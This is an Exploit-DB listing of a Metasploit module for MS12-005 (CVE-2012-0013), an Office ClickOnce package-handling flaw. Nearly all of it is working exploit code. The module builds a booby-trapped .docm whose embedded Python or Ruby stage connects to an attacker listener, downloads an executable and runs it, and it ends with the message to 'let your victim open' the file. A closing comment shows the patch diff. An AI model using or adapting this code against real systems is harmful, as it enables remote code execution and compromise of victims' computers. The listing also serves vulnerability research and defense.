标题: Microsoft Office - ClickOnce Unsafe Object Package Handling (MS12-005) (Metasploit) EDB-ID: 19037 CVE: 2012-0013 类型: LOCAL 平台: WINDOWS 发布日期: 2012-06-11 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::EXE
 include Msf::Exploit::Remote::TcpServer

 def initialize(info={})
  super(update_info(info,
   'Name'           => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in Microsoft Office's ClickOnce
    feature.  When handling a Macro document, the application fails to recognize
    certain file extensions as dangerous executables, which can be used to bypass
    the warning message.  This allows you to trick your victim into opening the
    malicious document, which will load up either a python or ruby payload based on
    your choosing, and then finally download and execute our executable.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Yorick Koster', #Vuln discovery
     'sinn3r'         #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-0013'],
     ['OSVDB', '78207'],
     ['MSB', 'ms12-005'],
     ['BID', '51284'],
     ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
     ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'          => "none",
     'DisablePayloadHandler' => 'false'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Microsoft Office Word 2007/2010 on Windows 7', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jan 10 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
     OptString.new("BODY", [false, 'The message for the document body', '']),
     OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
    ], self.class)
 end


 #
 # Return the first-stage payload that will download our malicious executable.
 #
 def get_download_exec_payload(type, lhost, lport)
  payload_name = Rex::Text.rand_text_alpha(7)

  # Padd up 6 null bytes so the first few characters won't get cut off
  p = "\x00"*6

  case type
  when :rb
   p << %Q|
   require 'socket'
   require 'tempfile'
   begin
    cli = TCPSocket.open("#{lhost}",#{lport})
    buf = ''
    while l = cli.gets
     buf << l
    end
    cli.close
    tmp = Tempfile.new(['#{payload_name}','.exe'])
    t = tmp.path
    tmp.binmode
    tmp.write(buf)
    tmp.close
    exec(t)
   rescue
   end#|

  when :py
   p << %Q|
   import socket
   import tempfile
   import os

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("#{lhost}", #{lport}))
   buf = ""
   while True:
    data = s.recv(1024)
    if data:
     buf += data
    else:
     break
   s.close
   temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
   f = open(temp, "wb")
   f.write(buf)
   f.close
   f = None
   os.system(temp)
   #|

  end

  p = p.gsub(/^\t\t\t/, '')

  return p
 end


 #
 # Reads a file that'll be packaged.
 # This will patch certain files on the fly, or return the original content of the file.
 #
 def on_file_read(fname, file)
  f = open(file, 'rb')
  buf = f.read
  f.close

  # Modify certain files on the fly
  case file
  when /oleObject1\.bin/
   # Patch the OLE object file with our payload
   print_status("Patching OLE object")
   ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb
   p     = get_download_exec_payload(ptype, @ip, @port)
   buf   = buf.gsub(/MYPAYLOAD/, p)

   # Patch username
   username = Rex::Text.rand_text_alpha(5)
   buf = buf.gsub(/METASPLOIT/, username)
   buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))

   # Patch the filename
   f = Rex::Text.rand_text_alpha(6)
   buf = buf.gsub(/MYFILENAME/, f)
   buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))

   # Patch the extension name
   ext = ptype.to_s
   buf = buf.gsub(/MYEXT/, ext)
   buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))

  when /document\.xml/
   print_status("Patching document body")
   # Patch the docx body
   buf = buf.gsub(/W00TW00T/, datastore['BODY'])

  end

  # The original filename of __rels is actually ".rels".
  # But for some reason if that's our original filename, it won't be included
  # in the archive. So this hacks around that.
  case fname
  when /__rels/
   fname = fname.gsub(/\_\_rels/, '.rels')
  end

  yield fname, buf
 end


 #
 # Packages the Office Macro Document
 #
 def package_docm_rex(path)
  zip = Rex::Zip::Archive.new

  Dir["#{path}/**/**"].each do |file|
   p = file.sub(path+'/','')

   if File.directory?(file)
    print_status("Packging directory: #{file}")
    zip.add_file(p)
   else
    on_file_read(p, file) do |fname, buf|
     print_status("Packaging file: #{fname}")
     zip.add_file(fname, buf)
    end
   end
  end

  zip.pack
 end


 #
 # Return the malicious executable
 #
 def on_client_connect(cli)
  print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
  cli.put(@exe)
  service.close_client(cli)
 end


 def exploit
  @ip    = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
  @port  = datastore['SRVPORT']

  print_status("Generating our docm file...")
  path  = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
  docm = package_docm_rex(path)

  file_create(docm)
  print_good("Let your victim open #{datastore['FILENAME']}")

  print_status("Generating our malicious executable...")
  @exe = generate_payload_exe

  print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
  super
 end
end

=begin
mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 
1c1
< void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
---
> const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
...
24c24
<     if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
---
>     if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
31c31
=end URL: https://www.exploit-db.com/exploits/19037